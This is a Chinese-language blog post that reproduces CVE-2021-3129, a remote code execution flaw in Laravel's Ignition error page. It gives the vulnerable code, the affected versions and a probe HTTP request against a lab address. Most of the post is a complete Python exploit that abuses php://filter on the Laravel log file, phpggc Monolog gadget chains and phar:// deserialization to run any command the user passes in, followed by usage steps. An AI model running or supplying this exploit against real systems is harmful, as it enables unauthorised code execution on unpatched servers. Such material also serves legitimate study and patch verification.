Laravel Ignition 2.5.1 代码执行漏洞(CVE-2021-3129)

Laravel Ignition 2.5.1 代码执行漏洞(CVE-2021-3129)

Laravel是一个由Taylor Otwell所创建,免费的开源 PHP Web 框架。在开发模式下,Laravel使用了Ignition提供的错误页面,在Ignition 2.5.1及之前的版本中,有类似这样的代码:

1
2
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

攻击者可以通过phar://协议来执行反序列化操作,进而执行任意代码。

影响版本

Laravel 框架 < 8.4.3
facade ignition 组件 < 2.5.2

漏洞复现

访问192.168.44.132:8080/即可看到一个Laravel默认的欢迎页面。

image-20211028141746599

发送POC包,返回页面存在报错就证明存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.44.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 169

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxx"
}
}

image-20211028143143946

使用EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import requests as req
import os, uuid
import sys

class Exp:
__gadget_chains = {
"monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
"monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
"monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
} # phpggc链集合,暂时添加rce1后续再添加其他增强通杀能力

__delimiter_len = 8 # 定界符长度

def __vul_check(self):
resp = req.get(self.__url, verify=False)
if resp.status_code != 405 and "laravel" not in resp.text:
return False
return True

def __payload_send(self, payload):
header = {
"Accept": "application/json"
}
data = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "cve20213129",
"viewFile": ""
}
}
data["parameters"]["viewFile"] = payload
resp = req.post(self.__url, headers=header, json=data, verify=False)
# print(resp.text)
return resp

def __command_handler(self, command):
"""
因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。
"""

self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len] # 定界符用于定位页面中命令执行结果的位置。
# print(delimiter)
command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
# print(command)

escaped_chars = [' ', '&', '|'] # 我只想到这么多,可自行添加。
for c in escaped_chars:
command = command.replace(c, '\\' + c)
# print(command)
return command

def __clear_log(self):
return self.__payload_send(
"php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

def __gen_payload(self, gadget_chain):
gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
# print(gen_shell)
os.system(gen_shell)
with open('payload.txt', 'r') as f:
payload = f.read().replace('\n', '') + 'a' # 添加一个字符使得两个完整的payload总是只有一个可以正常解码
os.system("rm payload.txt")
# print(payload)
return payload

def __decode_log(self):
return self.__payload_send(
"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

def __unserialize_log(self):
return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")

def __rce(self):
text = self.__unserialize_log().text
# print(text)

echo_find = text.find(self.__delimiter)
# print(echo_find)
if echo_find >= 0:
return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
else:
return "[-] RCE echo is not found."

def exp(self):
for gadget_chain in self.__gadget_chains.keys():
print("[*] Try to use %s for exploitation." % (gadget_chain))
self.__clear_log()
self.__clear_log()
self.__payload_send('a' * 2)
self.__payload_send(self.__gen_payload(gadget_chain))
self.__decode_log()
print("[*] Result:")
print(self.__rce())

def __init__(self, target, command):
self.target = target
self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
self.__command = self.__command_handler(command)
if not self.__vul_check():
print("[-] [%s] is seems not vulnerable." % (self.target))
print("[*] You can also call obj.exp() to force an attack.")
else:
self.exp()


def main():
args = sys.argv
url = args[1]
command = args[2]
Exp(url, command)

if __name__ == '__main__':
main()

在同目录下下载https://github.com/ambionics/phpggc.git

运行exp

python3 exp.py http:ip/ “命令执行语句”

image-20211028152123624

注意环境需要php和python3才能运行!

0%